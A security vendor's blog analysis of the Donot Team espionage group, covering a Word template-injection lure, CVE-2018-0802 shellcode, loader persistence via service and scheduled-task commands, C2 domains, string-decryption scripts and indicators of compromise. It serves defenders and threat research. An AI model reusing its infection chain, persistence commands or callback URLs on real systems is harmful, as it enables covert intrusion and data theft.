


## Studying Donot Team

 [blog.ptsecurity.com/2019/11/studying-donot-team.html](https://blog.ptsecurity.com/2019/11/studying-donot-team.html)



APT group called Donot Team (aka APT-C-35, SectorE02) has been active since at least 2012. The attackers hunt for confidential information and intellectual property. The hackers' targets include countries in South Asia, in particular, state sector of Pakistan. In 2019, we noticed their activity in Bangladesh, Thailand, India, Sri Lanka, the Philippines, and outside of Asia, in places like Argentina, the United Arab Emirates, and Great Britain.

For several months, we have been monitoring changes in the code of this group's malicious loaders. In this article, we will review one of the attack vectors, will talk about the loaders in more detail, and will touch upon the peculiarity of the network infrastructure.

### Attack chain

At the early stage of infection, the victim receives an MS Word document in Office Open XML format. Even though we do not have clear evidence, we are sure that the initial penetration vector is a targeted phishing message with MS Office attachment. The document itself is not malicious, but it abuses the external elements autoloading capability to launch the next stage document.

```
settings.xml.rels  [x]
1  <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2  <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"
   ><Relationship Id="rId1" Type=
   "http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
   Target="http://plug.msplugin.icu/MicrosoftSecurityScan/DOCSDOC" TargetMode="External"/>
   </Relationships>
```

Communicating with a linked external object

The loaded file is an RTF document exploiting vulnerability CVE-2018-0802 in Microsoft Equation. The main shellcode is preceded by a chain of intermediate ones, each decrypting the subsequent slice with a single-byte XOR with keys 0x90 and 0xCE.

```

0000010E: 5490                xor     al,000 ; 'P'
00000110: 33D2                xor     edx,edx
00000112: 7402                jz     000000116 --↓1

00000116: AA                stosb
00000117: 6649                dec     cx
00000119: 75EC                jnz    000000107 --↑1
0000011B: 78FC                js     000000119 --↑2
0000011D: 909090            nop

```

First shellcode decrypting the second one

```

00000254: 8B4DF0            mov     ecx,[ebp][-010]
00000257: AC                1lods b
00000258: 3490                xor     al,000 ; 'P'
0000025A: AA                stosb
0000025B: 49                dec     ecx
0000025C: 75F9                jnz    000000257 --↑1
0000025E: FF55E8            call   d,[ebp][-018]

```

Second shellcode decrypting the third one

```

00000002: 5A                2pop   edx
00000003: 33DB                xor     ebx,ebx
00000005: 33C0                1xor   eax,eax
00000007: 8B041A            mov     eax,[edx][ebx]
0000000A: 35CE000000        xor     eax,0000007E ; '
0000000F: 89041A            mov     [edx][ebx],eax
00000012: 83C301            add     ebx,1
00000015: 81FB122C0000      cmp     ebx,000002C12 ; '
0000001B: 7CE8                jl     00000005 --↑1
0000001D: FFD2                call   edx
0000001F: E8DEFFFFFF        call   00000002 --↑2

```

Third shellcode decrypting the main one

The main shellcode performed the following actions:

- Uses a single-byte XOR with key 0x79 to decrypt binary data from file %TEMP%\one.
- Creates executable files C:\Windows\Tasks\Serviceflow.exe and C:\Windows\Tasks\sinter.exe. These are the group's malicious loaders. We will talk more about them later.
- Creates file C:\Windows\Tasks\S\_An.dll, containing two bytes 0x90.
- Creates file C:\Windows\Tasks\A64.dll. Depending on the system bit capacity, this is a modified x64-bit or x86-bit version of UACMe utility escalating privileges in the system. In addition to bypassing UAC control, the library creates and launches BAT script %TEMP%\v.bat. The script will use the following commands to register one of the loaders created earlier as a service:

```

sc create ServiceTool displayname= "ServiceFill" binpath= "C:\Windows\Tasks\Serviceflow.exe" start= "auto"
sc start ServiceTool

```

```

1 signed int __thiscall sub_10001FAD(const char *this)
2 {
3     signed int v1; // edx
4     signed int result; // eax
5
6     v1 = strlen(this);
7     for ( result = 0; result < v1; ++result )
8         this[result] -= 0x20;
9     return result;
10 }

; CHAR asc_100130B8[1]
asc_100130B8 db '...' ; DATA XREF: RnMod+214fo
; RnMod+3F5fo
; @
; e
db 85h ; ... ; c
db 83h ; f ; h
db 88h ; € ; o
db 8Fh ; U ; o
db 40h ; @ ; f
db 8Fh ; U ; f
db 86h ; † ; †
db 86h ; † ; †
db 2Ah ; + ;
;
; s
db 93h ; " ; c
db 83h ; f ; r
db 40h ; @ ; e
db 83h ; f ; a
db 92h ; † ; t
db 85h ; ... ; e
db 81h ; f ; e
db 94h ; " ; T
db 85h ; ... ; e
db 40h ; @ ; S
db 73h ; s ; e
db 85h ; ... ; r
db 92h ; † ; v
db 96h ; - ; i
db 89h ; % ; c
db 83h ; f ; e
db 85h ; ... ; T
db 74h ; t ; o
db 8Fh ; U ; o
db 8Fh ; U ; l
db 8Ch ; h ;
dh 40h ; @ ;

```

Decrypting BAT scripts in modified UACMe libraries

- Creates and launches JScript script **C:\Windows\Tasks\bin.js**. Its task is to launch library **A64.dll** via RnMod export using rundll32.
- Creates shortcut **WORDICON.Ink** in the startup folder. Its task is to launch loader **sinter.exe** after system restart.
- Creates shortcut Support.Ink in the startup folder. Its task is to launch **bin.js** JScript script after system reboot.

```

588     v227 = 0;
589     strcpy((char *)&v208, "S_An.dll");
590     v64[v208] = 0;
591     v233 = 59;
592     v205(v64, (int *)&v208);
593     break;
594     case 3:
595     sub_617((int)v47 + (_DWORD)v202, (int)v64, (int)v204, (int)v213);
596     v41 = 4;
597     v228 = 11;
598     strcpy((char *)&v229, "sinter.exe");
599     v64[v205] = 0;
600     v233 = 60;
601     v51 = &v229;
602 LABEL_23:
603     ((void (__cdecl *)(char *, __int16 *, _DWORD))v205)(v64, v51, *(_DWORD *)&v230[5]);
604     break;
605     default:
606     continue;
607     }
608     v47 = v220;
609     v44 -= 3;
610     v48 -= 3;
611     v233 = -1;
612     v46 = 0;
613     continue;
614     }
615     }
616     else
617     {
618     v44[(DWORD)v47] = v49 ^ 0x79;
619     }
620     }
621     while ( (int)v44 > 0 );
622     v45 = v220;
623 LABEL_28:
624     sub_617((int)&v44[(DWORD)v45], (int)v64, (int)v46, (int)v213);
625     v99(v169);
626     v36 = v205;
627 LABEL_29:
628     v221(&v59, 0, 260);
629     v52 = v137(v63);
630     v161(&v59, v63, v52);
631     strcpy((char *)&v158, "Local\\Microsoft\\Windows\\INetCache\\Content\\");
632     v233 = 61;
633     v36(&v59, (int *)&v158);

```

Decompiled code of the main shellcode

So, at that stage there are two loaders with a firm foothold in the System. We will discuss their operation later on.

## Lo2 loaders

Despite their classification, the trojans have different objectives. For instance, file **Serviceflow.exe** acts as a watchdog. It collects the following information about the system:

- Username
- Computer name
- Contents of \Program Files\ and \Program Files (x86)\
- OS version
- Data about the processor

The watchdog records the results in file log.txt. It also checks Windows\Tasks\ for files **A64.dll** and **sinter.exe**. If necessary, it downloads the files from control server skillsnew[.]top and launches them on behalf of the current user. The corresponding token is extracted from process winlogon.exe. Trojan sinter.exe lets the attackers know about the infection by sending a request to hxxps://mystrylust.pw/confirm.php, and sends the collected information about the system to skillsnew[.]top. Then, if the attackers are still interested in the victim's computer, the trojan obtains contents of customer.txt file at hxxp://docs.google.com/uc?id=1wUaESzjGT2fSuP\_hOJMpqidyqzquw15sz&export=download. The file contains the name for control server car[.]drivethrough.top, with which the trojan communicates further. Downloaded files are placed in folder \AppData\Roaming\lnStore\, and launched with task scheduler.

```

` /tr "`
` /f /tn `
`schtasks /create /sc minute /mo `
`<?xml version="1.0" encoding="UTF-16"?>

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>XXXXXXXXXXXXXXXXXXXX</Date>
    <Author></Author>
    <URI>\LineWork</URI>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger>
      <Repetition>
        <Interval>PT5M</Interval>
        <StopAtDurationEnd>>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>XXXXXXXXXXXXXXXXXXXX</StartBoundary>
      <Enabled>>true</Enabled>
    </TimeTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>

```

Decrypted strings of command fragments and task template

As a result of malicious loaders' activity, components of framework yty are inserted into the system, allowing the attackers to get more details about their victim, including files with a certain extension, intercepted input strings, list of processes, and screenshots. We will not discuss plugins in this article.

When we studied other similar samples, we found some paths and project names left in the debugging information including the following:

- D:\Soft\DevelopedCode\_Last\BitDefenderTest\m0\New\_Single\_File\Lo2\SingleV2\Release\BinWork.pdb
- D:\Soft\DevelopedCode\_Last\BitDefenderTest\m0\New\_Single\_File\Lo2\SingleV2\_Task\_Layout\_NewICON\Release\BinWork.pdb
- D:\Soft\DevelopedCode\_Last\BitDefenderTest\m0\New\_Single\_File\Lo2\SingleV2\_Task\_Layout\_NewICON\_N\_Lnk\Release\BinWork.pdb
- D:\Soft\DevelopedCode\_Last\BitDefenderTest\m0\New\_Single\_File\Lo2\SingleV3\Release\WorkFile.pdb
- D:\Soft\DevelopedCode\_Last\BitDefenderTest\m0\Off\Off\_New\_Api\Release\C++\ConnectLink.pdb
- D:\Soft\DevelopedCode\_Last\BitDefenderTest\m0\Off\Off\_New\_Api\Release\C++\TerBin.pdb
- D:\Soft\DevelopedCode\_Last\BitDefenderTest\m0\yty 2.0 - With AES Chunks LOC FOR XP Just Bit-Change\_Name\Release\TaskTool.pdb
- D:\Soft\DevelopedCode\_Last\BitDefenderTest\yty 2.0 - With AES Chunks OFFS Just Bit\Release\C++\MsBuild.pdb
- D:\Soft\DevelopedCode\_Last\yty 2.0\Release\C++\Setup.pdb

In addition to substring yty 2.0 connecting the trojans with the framework, we also noticed substring Lo2, which may be an abbreviation from Loader 2.

In loaders versions before mid-2018, all used strings were stored in the file in cleartext. In subsequent builds, the attackers started encrypting the strings. In different versions, the following changes were made to the algorithm:

- Since May 2018: reverse the string and encode with Base64
- Since April 2019: perform the previous actions twice.

- Since January 2019: encrypt the string with AES in CBC mode and encode with Base64. Sample of Python code for decryption:

```
import base64
from Cryptodome.Cipher import AES

aeskey = (0x23, 0xd4, 0x67, 0xad, 0x96, 0xc3, 0xd1, 0xa5, 0x23, 0x76, 0xae, 0x4e, 0xdd, 0xca, 0x13, 0x55)

def aes_decrypt(data, aeskey):
    iv = bytes(list(range(0, 16)))
    key = bytes(aeskey)
    aes = AES.new(key, AES.MODE_CBC, iv)
    return aes.decrypt(data).decode().strip('\x00')

def base64_aes_decrypt(data, aeskey):
    data = base64.b64decode(data)
    data = aes_decrypt(data, aeskey)
    return data
```

Since June 2019: perform symbol-by-symbol circular subtraction with the set array of bytes, encode with UTF-8, and encode with Base64. Sample of Python code for decryption:

```
subgamma = (0x2d, 0x55, 0xf, 0x59, 0xf, 0xb, 0x60, 0x33, 0x29, 0x4e, 0x19, 0x3e, 0x57, 0x4d, 0x56, 0xf)

def sub_decrypt(data, subgamma):
    o = ""
    length = len(data)
    subgamma_length = len(subgamma)
    for i in range(length):
        o += chr((0x100 + ord(data[i]) - subgamma[i%subgamma_length]) & 0xff)
    return o

def base64_utf8_sub_decrypt(data, subgamma):
    data = base64.b64decode(data)
    data = data.decode('utf-8')
    data = sub_decrypt(data, subgamma)
    return data
```

Since October 2019: perform symbol-by-symbol circular modified XOR with the set array of bytes, and encode with Base64 twice. The peculiarity of XOR algorithm is that if the string symbol value matches the value of the symbol in the set array of bytes, XOR is not required. Sample of Python code for decryption:

```
xorgamma = (0x56, 0x2d, 0x61, 0x21, 0x16)

def modxor_decrypt(data, xorgamma):
    o = ""
    length = len(data)
    xorgamma_length = len(xorgamma)
    for i in range(length):
        c = data[i]
        if c != xorgamma[i%xorgamma_length]:
            c = data[i] ^ xorgamma[i%xorgamma_length]
        o += chr(c)
    return o

def base64_modxor_decrypt(data, xorgamma):
    data = base64.b64decode(data)
    data = modxor_decrypt(data, xorgamma)
    return data
```

When we were writing the decryption script, we found that some strings couldn't be decrypted. But then we found that these lines can still be decrypted with one of the decryption methods mentioned earlier. After we verified that each sample uses only one decryption method, we concluded that the attackers had simply forgotten to delete unused strings or replace them with those correctly encrypted for the next version of the malware.

```

1 TWICE_BASE64_REVERSE
2 -----
3 FT18WEJCSGNFRkdkaHhsVXZGV2JwOTJaY2xzYlRSM2J5VkdY - "\\AppData\\Roaming\\InStore\\"
4 -----
5
6
7
8 BASE64_AES
9 -----
10 3haCKL/OU+b4t4RAS6wkmKLRJDMhzMlPIXIORSB3s= - "\\AppData\\Roaming\\InStore\\"
11 -----
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000

```

Strings in one of the loader samples were encrypted with various methods, but only one is used in the executable file.

Such mistakes are always advantageous for the researchers. For instance, the strings left by the attackers often contained the attackers' control servers which we did not know about before.

### Network Infrastructure peculiarities

To complete the picture, we want to point out some typical features which can help you make a connection between the group's attacks in the future.

- Most of the control servers are rented from DigitalOcean, LLC (ASN 14061), and are located in Amsterdam.
- The attackers do not use the same servers for different DNS names. They prefer reserving a new allocated host for each new domain name.
- In most cases, domain owners' registration information is hidden with privacy services. The attackers can use the following services: WhoisGuard, Inc.; Whois Privacy Protection Service, Inc.; Domains By Proxy, LLC; and Whois Privacy Protection Foundation. In some cases the data is accessible, and we can see the common approach to filling the fields.

**Registrant Contact**

Name:	Joseph Menard
Organization:	Joseph Menard
Street:	42840 Chemin Nguyen Suite 31,
City:	St-Alexandra
State:	qubec
Postal Code:	B3A1N9
Country:	CA
Phone:	+1.39960495532
Email:	<b>piglorare1978@protonmail.com</b>

WHOIS information about domain burningforests[.]com

```
Registrant Name: Jessie Evans
Registrant Organization: Jessie Evans
Registrant Street: 120 Long Street , FL
Registrant City: Gainesville
Registrant State/Province: florida
Registrant Postal Code: 32601
Registrant Country: US
Registrant Phone: +1.3522832656
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: jessie.evans.1986@protonmail.com
```

WHOIS information about domain cloud-storage-service[.]com

Most commonly, the attackers use .top, .pw, .space, .live, and .icu TLD.

## Conclusion

Donot Team is known to use their own tools at every stage of the attack. On the one hand, the group uses various techniques to make code analysis more difficult, but on the other hand, it does not attempt to hide or disguise their actions in the system. Multiple attacks on the same targets can be indicative of particular interest in the chosen range of victims. This can also mean that the used tactics and techniques are not very efficient.

**Author:** Alexey Vishnyakov, Positive Technologies

## IOCs

```
6ce1855cf027d76463bb8d5954fcc7bb — loader in MS Word format
hxxp://plug.msplugin.icu/MicrosoftSecurityScan/DOCSDOC
21b7fc61448af8938c09007871486f58 — dropper in MS Word format
71ab0946b6a72622aef6cdd7907479ec — loader Lo2 in C:\Windows\Tasks\Serviceflow.exe
22f41b6238290913fc4d196b8423724d — loader Lo2 in C:\Windows\Tasks\sinter.exe
330a4678fae2662975e850200081a1b1 — modified x86 version of UACMe
22e7ef7c3c7911b4c08ce82fde76ec72 — modified x64 version of UACMe
skillsnew[.]top
hxxps://mystrylust.pw/confirm.php
hxxp://docs.google.com/uc?id=1wUaESzjGT2fSuP_hOJMpqidyqwu15sz&export=download
car[.]drivethrough.top
burningforests[.]com
cloud-storage-service[.]com
```